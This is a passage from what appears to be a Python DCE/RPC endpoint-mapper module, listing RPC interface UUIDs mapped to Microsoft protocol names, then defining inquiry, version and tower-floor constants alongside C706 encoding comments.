'C10A76D8-1FE4-4C2F-B70D-665265215259':'[MS-ISTM]: iSCSI Software Target Management Protocol', '8D7AE740-B9C5-49FC-A11E-89171907CB86':'[MS-ISTM]: iSCSI Software Target Management Protocol', '8AD608A4-6C16-4405-8879-B27910A68995':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'B0076FEC-A921-4034-A8BA-090BC6D03BDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', '640038F1-D626-40D8-B52B-09660601D045':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'BB39E296-AD26-42C5-9890-5325333BB11E':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'B06A64E3-814E-4FF9-AFAC-597AD32517C7':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'A5ECFC73-0013-4A9E-951C-59BF9735FDDA':'[MS-ISTM]: iSCSI Software Target Management Protocol', '1396DE6F-A794-4B11-B93F-6B69A5B47BAE':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'DD6F0A28-248F-4DD3-AFE9-71AED8F685C4':'[MS-ISTM]: iSCSI Software Target Management Protocol', '52BA97E7-9364-4134-B9CB-F8415213BDD8':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'E2842C88-07C3-4EB0-B1A9-D3D95E76FEF2':'[MS-ISTM]: iSCSI Software Target Management Protocol', '312CC019-D5CD-4CA7-8C10-9E0A661F147E':'[MS-ISTM]: iSCSI Software Target Management Protocol', '345B026B-5802-4E38-AC75-795E08B0B83F':'[MS-ISTM]: iSCSI Software Target Management Protocol', '442931D5-E522-4E64-A181-74E98A4E1748':'[MS-ISTM]: iSCSI Software Target Management Protocol', '1B1C4D1C-ABC4-4D3A-8C22-547FBA3AA8A0':'[MS-ISTM]: iSCSI Software Target Management Protocol', '56E65EA5-CDFF-4391-BA76-006E42C2D746':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'E645744B-CAE5-4712-ACAF-13057F7195AF':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'FE7F99F9-1DFB-4AFB-9D00-6A8DD0AABF2C':'[MS-ISTM]: iSCSI Software Target Management Protocol', '81FE3594-2495-4C91-95BB-EB5785614EC7':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'F093FE3D-8131-4B73-A742-EF54C20B337B':'[MS-ISTM]: iSCSI Software Target Management Protocol', '28BC8D5E-CA4B-4F54-973C-ED9622D2B3AC':'[MS-ISTM]: iSCSI Software Target Management Protocol', '12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAD]: Local Security Authority (Domain Policy) Remote Protocol', '12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAT]: Local Security Authority (Translation Methods) Remote', '708CCA10-9569-11D1-B2A5-0060977D8118':'[MS-MQDS]: Message Queuing (MSMQ):', '77DF7A80-F298-11D0-8358-00A024C480A8':'[MS-MQDS]: Message Queuing (MSMQ):', '76D12B80-3467-11D3-91FF-0090272F9EA3':'[MS-MQMP]: Message Queuing (MSMQ):', 'FDB3A030-065F-11D1-BB9B-00A024EA5525':'[MS-MQMP]: Message Queuing (MSMQ):', '41208EE0-E970-11D1-9B9E-00E02C064C39':'[MS-MQMR]: Message Queuing (MSMQ):', '1088A980-EAE5-11D0-8D9B-00A02453C337':'[MS-MQQP]: Message Queuing (MSMQ):', '1A9134DD-7B39-45BA-AD88-44D01CA47F28':'[MS-MQRR]: Message Queuing (MSMQ):', '17FDD703-1827-4E34-79D4-24A55C53BB37':'[MS-MSRP]: Messenger Service Remote Protocol', '12345678-1234-ABCD-EF00-01234567CFFB':'[MS-NRPC]: Netlogon Remote Protocol', '00020411-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020401-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020403-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020412-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020402-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020400-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020404-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '784B693D-95F3-420B-8126-365C098659F2':'[MS-OCSPA]: Microsoft OCSP Administration Protocol', 'AE33069B-A2A8-46EE-A235-DDFD339BE281':'[MS-PAN]: Print System Asynchronous Notification Protocol', '0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1':'[MS-PAN]: Print System Asynchronous Notification Protocol', '76F03F96-CDFD-44FC-A22C-64950A001209':'[MS-PAR]: Print System Asynchronous Remote Protocol', 'DA5A86C5-12C2-4943-AB30-7F74A813D853':'[MS-PCQ]: Performance Counter Query Protocol', '03837510-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837543-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837533-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837541-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837544-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837524-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0383753A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837534-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0383750B-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0383751A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837512-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0383753D-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837506-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837520-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '038374FF-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837514-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837502-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837516-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0B1C2170-5732-4E0E-8CD3-D9B16F3B84D7':'[MS-RAA]: Remote Authorization API Protocol', 'F120A684-B926-447F-9DF4-C966CB785648':'[MS-RAI]: Remote Assistance Initiation Protocol', '833E4010-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', '833E4200-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', '3C3A70A7-A468-49B9-8ADA-28E11FCCAD5D':'[MS-RAI]: Remote Assistance Initiation Protocol', '833E4100-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', '833E41AA-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', 'C323BE28-E546-4C23-A81B-D6AD8D8FAC7B':'[MS-RAINPS]: Remote Administrative Interface:', '83E05BD5-AEC1-4E58-AE50-E819C7296F67':'[MS-RAINPS]: Remote Administrative Interface:', '45F52C28-7F9F-101A-B52B-08002B2EFABE':'[MS-RAIW]: Remote Administrative Interface:', '811109BF-A4E1-11D1-AB54-00A0C91E9B45':'[MS-RAIW]: Remote Administrative Interface:', 'A35AF600-9CF4-11CD-A076-08002B2BD711':'[MS-RDPESC]: Remote Desktop Protocol:', '12345678-1234-ABCD-EF00-0123456789AB':'[MS-RPRN]: Print System Remote Protocol', '20610036-FA22-11CF-9823-00A0C911E5DF':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '8F09F000-B7ED-11CE-BBD2-00001A181CAD':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '338CD001-2244-31F1-AAAA-900038001003':'[MS-RRP]: Windows Remote Registry Protocol', '3BBED8D9-2C9A-4B21-8936-ACB2F995BE6C':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '8DA03F40-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'D61A27C6-8F53-11D0-BFA0-00A024151983':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '081E7188-C080-4FF3-9238-29F66D6CABFD':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '895A2C86-270D-489D-A6C0-DC2A9B35280E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'D02E4BE0-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'DB90832F-6910-4D46-9F5E-9FD6BFA73903':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '4E934F30-341A-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '879C8BBE-41B0-11D1-BE11-00C04FB6BF70':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '00000000-0000-0000-C000-000000000046':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '69AB7050-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '7D07F313-A53F-459A-BB12-012C15B1846E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'BB39332C-BFEE-4380-AD8A-BADC8AFF5BB6':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'B057DC50-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '338CD001-2244-31F1-AAAA-900038001003':'[MS-RSP]: Remote Shutdown Protocol', '894DE0C0-0D55-11D3-A322-00C04FA321A1':'[MS-RSP]: Remote Shutdown Protocol', 'D95AFE70-A6D5-4259-822E-2C84DA1DDB0D':'[MS-RSP]: Remote Shutdown Protocol', '12345778-1234-ABCD-EF00-0123456789AC':'[MS-SAMR]: Security Account Manager (SAM) Remote Protocol', '01954E6B-9254-4E6E-808C-C9E05D007696':'[MS-SCMP]: Shadow Copy Management Protocol', 'FA7DF749-66E7-4986-A27F-E2F04AE53772':'[MS-SCMP]: Shadow Copy Management Protocol', '214A0F28-B737-4026-B847-4F9E37D79529':'[MS-SCMP]: Shadow Copy Management Protocol', 'AE1C7110-2F60-11D3-8A39-00C04F72D8E3':'[MS-SCMP]: Shadow Copy Management Protocol', '367ABB81-9844-35F1-AD32-98F038001003':'[MS-SCMR]: Service Control Manager Remote Protocol', '4B324FC8-1670-01D3-1278-5A47BF6EE188':'[MS-SRVS]: Server Service Remote Protocol', 'CCD8C074-D0E5-4A40-92B4-D074FAA6BA28':'[MS-SWN]: Service Witness Protocol', '00000000-0000-0000-C000-000000000046':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', '112B1DFF-D9DC-41F7-869F-D67FEE7CB591':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', '1A1BB35F-ABB8-451C-A1AE-33D98F1BEF4A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', '2F5F6521-CA47-1068-B319-00DD010662DB':'[MS-TRP]: Telephony Remote Protocol', '2F5F6520-CA46-1067-B319-00DD010662DA':'[MS-TRP]: Telephony Remote Protocol', '1FF70682-0A51-30E8-076D-740BE8CEE98B':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', '378E52B0-C0A9-11CF-822D-00AA0051E40F':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', '86D35949-83C9-4044-B424-DB363231FD0C':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', '44E265DD-7DAF-42CD-8560-3CDB6E7A2729':'[MS-TSGU]: Terminal Services Gateway Server Protocol', '034634FD-BA3F-11D1-856A-00A0C944138C':'[MS-TSRAP]: Telnet Server Remote Administration Protocol', '497D95A6-2D27-4BF5-9BBD-A6046957133C':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '11899A43-2B68-4A76-92E3-A3D6AD8C26CE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '5CA4A760-EBB1-11CF-8611-00A0245420ED':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', 'BDE95FDF-EEE0-45DE-9E12-E5A61CD0D4FE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '484809D6-4239-471B-B5BC-61DF8C23AC48':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '88143FD0-C28D-4B2B-8FEF-8D882F6A9390':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '53B46B02-C73B-4A3E-8DEE-B16B80672FC0':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', 'DDE02280-12B3-4E0B-937B-6747F6ACB286':'[MS-UAMG]: Update Agent Management Protocol', '112EDA6B-95B3-476F-9D90-AEE82C6B8181':'[MS-UAMG]: Update Agent Management Protocol', '144FE9B0-D23D-4A8B-8634-FB4457533B7A':'[MS-UAMG]: Update Agent Management Protocol', '70CF5C82-8642-42BB-9DBC-0CFD263C6C4F':'[MS-UAMG]: Update Agent Management Protocol', '49EBD502-4A96-41BD-9E3E-4C5057F4250C':'[MS-UAMG]: Update Agent Management Protocol', '7C907864-346C-4AEB-8F3F-57DA289F969F':'[MS-UAMG]: Update Agent Management Protocol', '46297823-9940-4C09-AED9-CD3EA6D05968':'[MS-UAMG]: Update Agent Management Protocol', '4CBDCB2D-1589-4BEB-BD1C-3E582FF0ADD0':'[MS-UAMG]: Update Agent Management Protocol', '8F45ABF1-F9AE-4B95-A933-F0F66E5056EA':'[MS-UAMG]: Update Agent Management Protocol', '6A92B07A-D821-4682-B423-5C805022CC4D':'[MS-UAMG]: Update Agent Management Protocol', '54A2CB2D-9A0C-48B6-8A50-9ABB69EE2D02':'[MS-UAMG]: Update Agent Management Protocol', '0D521700-A372-4BEF-828B-3D00C10ADEBD':'[MS-UAMG]: Update Agent Management Protocol', 'C2BFB780-4539-4132-AB8C-0A8772013AB6':'[MS-UAMG]: Update Agent Management Protocol', '1518B460-6518-4172-940F-C75883B24CEB':'[MS-UAMG]: Update Agent Management Protocol', '81DDC1B8-9D35-47A6-B471-5B80F519223B':'[MS-UAMG]: Update Agent Management Protocol', 'BC5513C8-B3B8-4BF7-A4D4-361C0D8C88BA':'[MS-UAMG]: Update Agent Management Protocol', 'C1C2F21A-D2F4-4902-B5C6-8A081C19A890':'[MS-UAMG]: Update Agent Management Protocol', '07F7438C-7709-4CA5-B518-91279288134E':'[MS-UAMG]: Update Agent Management Protocol', 'C97AD11B-F257-420B-9D9F-377F733F6F68':'[MS-UAMG]: Update Agent Management Protocol', '3A56BFB8-576C-43F7-9335-FE4838FD7E37':'[MS-UAMG]: Update Agent Management Protocol', '615C4269-7A48-43BD-96B7-BF6CA27D6C3E':'[MS-UAMG]: Update Agent Management Protocol', '004C6A2B-0C19-4C69-9F5C-A269B2560DB9':'[MS-UAMG]: Update Agent Management Protocol', '7366EA16-7A1A-4EA2-B042-973D3E9CD99B':'[MS-UAMG]: Update Agent Management Protocol', 'A376DD5E-09D4-427F-AF7C-FED5B6E1C1D6':'[MS-UAMG]: Update Agent Management Protocol', '23857E3C-02BA-44A3-9423-B1C900805F37':'[MS-UAMG]: Update Agent Management Protocol', 'B383CD1A-5CE9-4504-9F63-764B1236F191':'[MS-UAMG]: Update Agent Management Protocol', '76B3B17E-AED6-4DA5-85F0-83587F81ABE3':'[MS-UAMG]: Update Agent Management Protocol', '0BB8531D-7E8D-424F-986C-A0B8F60A3E7B':'[MS-UAMG]: Update Agent Management Protocol', '91CAF7B0-EB23-49ED-9937-C52D817F46F7':'[MS-UAMG]: Update Agent Management Protocol', '673425BF-C082-4C7C-BDFD-569464B8E0CE':'[MS-UAMG]: Update Agent Management Protocol', 'EFF90582-2DDC-480F-A06D-60F3FBC362C3':'[MS-UAMG]: Update Agent Management Protocol', 'D9A59339-E245-4DBD-9686-4D5763E39624':'[MS-UAMG]: Update Agent Management Protocol', '9B0353AA-0E52-44FF-B8B0-1F7FA0437F88':'[MS-UAMG]: Update Agent Management Protocol', '503626A3-8E14-4729-9355-0FE664BD2321':'[MS-UAMG]: Update Agent Management Protocol', '85713FA1-7796-4FA2-BE3B-E2D6124DD373':'[MS-UAMG]: Update Agent Management Protocol', '816858A4-260D-4260-933A-2585F1ABC76B':'[MS-UAMG]: Update Agent Management Protocol', '27E94B0D-5139-49A2-9A61-93522DC54652':'[MS-UAMG]: Update Agent Management Protocol', 'E7A4D634-7942-4DD9-A111-82228BA33901':'[MS-UAMG]: Update Agent Management Protocol', 'D40CFF62-E08C-4498-941A-01E25F0FD33C':'[MS-UAMG]: Update Agent Management Protocol', 'ED8BFE40-A60B-42EA-9652-817DFCFA23EC':'[MS-UAMG]: Update Agent Management Protocol', 'A7F04F3C-A290-435B-AADF-A116C3357A5C':'[MS-UAMG]: Update Agent Management Protocol', '4A2F5C31-CFD9-410E-B7FB-29A653973A0F':'[MS-UAMG]: Update Agent Management Protocol', 'BE56A644-AF0E-4E0E-A311-C1D8E695CBFF':'[MS-UAMG]: Update Agent Management Protocol', '918EFD1E-B5D8-4C90-8540-AEB9BDC56F9D':'[MS-UAMG]: Update Agent Management Protocol', '04C6895D-EAF2-4034-97F3-311DE9BE413A':'[MS-UAMG]: Update Agent Management Protocol', '15FC031C-0652-4306-B2C3-F558B8F837E2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '4DBCEE9A-6343-4651-B85F-5E75D74D983C':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '1E062B84-E5E6-4B4B-8A25-67B81E8F13E8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '2ABD757F-2851-4997-9A13-47D2A885D6CA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '9CBE50CA-F2D2-4BF4-ACE1-96896B729625':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '4DAA0135-E1D1-40F1-AAA5-3CC1E53221C3':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '3858C0D5-0F35-4BF5-9714-69874963BC36':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '40F73C8B-687D-4A13-8D96-3D7F2E683936':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '8F4B2F5D-EC15-4357-992F-473EF10975B9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'FC5D23E8-A88B-41A5-8DE0-2D2F73C5A630':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'B07FEDD4-1682-4440-9189-A39B55194DC5':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '72AE6713-DCBB-4A03-B36B-371F6AC6B53D':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'B6B22DA8-F903-4BE7-B492-C09D875AC9DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '538684E0-BA3D-4BC0-ACA9-164AFF85C2A9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '75C8F324-F715-4FE3-A28E-F9011B61A4A1':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '90681B1D-6A7F-48E8-9061-31B7AA125322':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '9882F547-CFC3-420B-9750-00DFBEC50662':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '83BFB87F-43FB-4903-BAA6-127F01029EEC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'EE2D5DED-6236-4169-931D-B9778CE03DC6':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '9723F420-9355-42DE-AB66-E31BB15BEEAC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '4AFC3636-DB01-4052-80C3-03BBCB8D3C69':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'D99BDAAE-B13A-4178-9FDB-E27F16B4603E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'D68168C9-82A2-4F85-B6E9-74707C49A58F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '13B50BFF-290A-47DD-8558-B7C58DB1A71A':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '6E6F6B40-977C-4069-BDDD-AC710059F8C0':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '9AA58360-CE33-4F92-B658-ED24B14425B8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'E0393303-90D4-4A97-AB71-E9B671EE2729':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '07E5C822-F00C-47A1-8FCE-B244DA56FD06':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '8326CD1D-CF59-4936-B786-5EFC08798E25':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '1BE2275A-B315-4F70-9E44-879B3A2A53F2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '0316560B-5DB4-4ED9-BBB5-213436DDC0D9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '14FBE036-3ED7-4E10-90E9-A5FF991AFF01':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '3B69D7F5-9D94-4648-91CA-79939BA263BF':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'D5D23B6D-5A55-4492-9889-397A3C2D2DBC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '88306BB2-E71F-478C-86A2-79DA200A0F11':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '118610B7-8D94-4030-B5B8-500889788E4E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '0AC13689-3134-47C6-A17C-4669216801BE':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '0818A8EF-9BA9-40D8-A6F9-E22833CC771E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '6788FAF9-214E-4B85-BA59-266953616E09':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'B481498C-8354-45F9-84A0-0BDD2832A91F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '10C5E575-7984-4E81-A56B-431F5F92AE42':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '38A0A9AB-7CC8-4693-AC07-1F28BD03C3DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '8FB6D884-2388-11D0-8C35-00C04FDA2795':'[MS-W32T]: W32Time Remote Protocol', '5422FD3A-D4B8-4CEF-A12E-E87D4CA22E90':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', 'D99E6E70-FC88-11D0-B498-00A0C90312F3':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', '1A927394-352E-4553-AE3F-7CF4AAFCA620':'[MS-WDSC]: Windows Deployment Services Control Protocol', '6BFFD098-A112-3610-9833-46C3F87E345A':'[MS-WKST]: Workstation Service Remote Protocol', 'F1E9C5B2-F59B-11D2-B362-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '423EC01E-2E35-11D2-B604-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '9556DC99-828C-11CF-A37E-00AA003240C7':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'F309AD18-D86A-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '9A653086-174F-11D2-B5F9-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'D4781CD6-E5D3-44DF-AD94-930EFE48A887':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '44ACA674-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '541679AB-2E5F-11D3-B34E-00104BCC4B4A':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '027947E1-D731-11CE-A357-000000000001':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'A359DEC5-E813-4834-8A2A-BA7F1D777D76':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'C49E32C6-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'C49E32C7-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '2C9273E0-1DC3-11D3-B364-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '7C857801-7381-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'DC12A681-737F-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '8BC3F05E-D86B-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '44ACA675-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '1C1C45EE-4395-11D2-B60B-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '674B6698-EE92-11D0-AD71-00C04FD8FDFF':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'FC910418-55CA-45EF-B264-83D4CE7D30E0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'C5CEBEE2-9DF5-4CDD-A08C-C2471BC144B4':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'F31931A9-832D-481C-9503-887A0E6A79F0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '21546AE8-4DA5-445E-987F-627FEA39C5E8':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'BC681469-9DD9-4BF4-9B3D-709F69EFE431':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '4F7CA01C-A9E5-45B6-B142-2332A1339C1D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '2A3EB639-D134-422D-90D8-AAA1B5216202':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '59602EB6-57B0-4FD8-AA4B-EBF06971FE15':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '481E06CF-AB04-4498-8FFE-124A0A34296D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'E8BCFFAC-B864-4574-B2E8-F1FB21DFDC18':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '943991A5-B3FE-41FA-9696-7F7B656EE34B':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'BBA9CB76-EB0C-462C-AA1B-5D8C34415701':'[MS-ADTS]: Active Directory Technical Specification', '906B0CE0-C70B-1067-B317-00DD010662DA':'[MS-CMPO]: MSDTC Connection Manager:', 'E3514235-4B06-11D1-AB04-00C04FC2DCD2':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', 'F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C':'[MS-EVEN6]: EventLog Remoting Protocol', 'D049B186-814F-11D1-9A3C-00C04FC9B232':'[MS-FRS1]: File Replication Service Protocol', 'F5CC59B4-4264-101A-8C59-08002B2F8426':'[MS-FRS1]: File Replication Service Protocol', '5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC':'[MS-MSRP]: Messenger Service Remote Protocol', 'F5CC5A18-4264-101A-8C59-08002B2F8426':'[MS-NSPI]: Name Service Provider Interface (NSPI) Protocol', 'E33C0CC4-0482-101A-BC0C-02608C6BA218':'[MS-RPCL]: Remote Procedure Call Location Services Extensions', } # Inquire Type RPC_C_EP_ALL_ELTS = 0x0 RPC_C_EP_MATCH_BY_IF = 0x1 RPC_C_EP_MATH_BY_OBJ = 0x2 RPC_C_EP_MATH_BY_BOTH = 0x1 # Vers Option RPC_C_VERS_ALL = 0x1 RPC_C_VERS_COMPATIBLE = 0x2 RPC_C_VERS_EXACT = 0x3 RPC_C_VERS_MARJOR_ONLY= 0x4 RPC_C_VERS_UPTO = 0x5 # Search RPC_NO_MORE_ELEMENTS = 0x16c9a0d6 # Floors constants FLOOR_UUID_IDENTIFIER = 0x0d # Protocol Identifiers FLOOR_RPCV5_IDENTIFIER = 0x0b # DCERPC Connection Oriented v.5 FLOOR_MSNP_IDENTIFIER = 0x0c # MS Named Pipes (LRPC) # Pipe Identifier FLOOR_NBNP_IDENTIFIER = 0x0f # NetBIOS Named Pipe # HostName Identifier FLOOR_MSNB_IDENTIFIER = 0x11 # MS NetBIOS HostName # PortAddr Identifier FLOOR_TCPPORT_IDENTIFIER = 0x07 ################################################################################ # STRUCTURES ################################################################################ # Tower Floors: As states in C706: # This appendix defines the rules for encoding an protocol_tower_t (abstract) # into the twr_t.tower_octet_string and twr_p_t->tower_octet_string fields # (concrete). For historical reasons, this cannot be done using the standard NDR # encoding rules for marshalling and unmarshalling. A special encoding is # required. # Note that the twr_t and twr_p_t are mashalled as standard IDL data types, # encoded in the standard transfer syntax (for example, NDR). As far as IDL and # NDR are concerned, tower_octet_string is simply an opaque conformant byte # array. This section only defines how to construct this opaque open array of # octets, which contains the actual protocol tower information. # The tower_octet_string[ ] is a variable length array of octets that encodes # a single, complete protocol tower. It is encoded as follows: # * Addresses increase, reading from left to right. # * Each tower_octet_string begins with a 2-byte floor count, encoded # little-endian, followed by the tower floors as follows: # +-------------+---------+---------+---------+---------+---------+ # | floorcount | floor1 | floor2 | floor3 | ... | floorn | # +-------------+---------+---------+---------+---------+---------+ # The number of tower floors is specific to the particular protocol tower, # also known as a protseq. # * Eachtowerfloorcontainsthefollowing: # |<- tower floor left hand side ->|<- tower floor right hand side ->| # +------------+-----------------------+------------+----------------------+ # | LHS byte | protocol identifier | RHS byte | related or address | # | count | data | count | data | # +------------+-----------------------+------------+----------------------+ # The LHS (Left Hand Side) of the floor contains protocol identifier information. # Protocol identifier values and construction rules are defined in Appendix I. # The RHS (Right Hand Side) of the floor contains related or addressing # information. The type and encoding for the currently defined protocol # 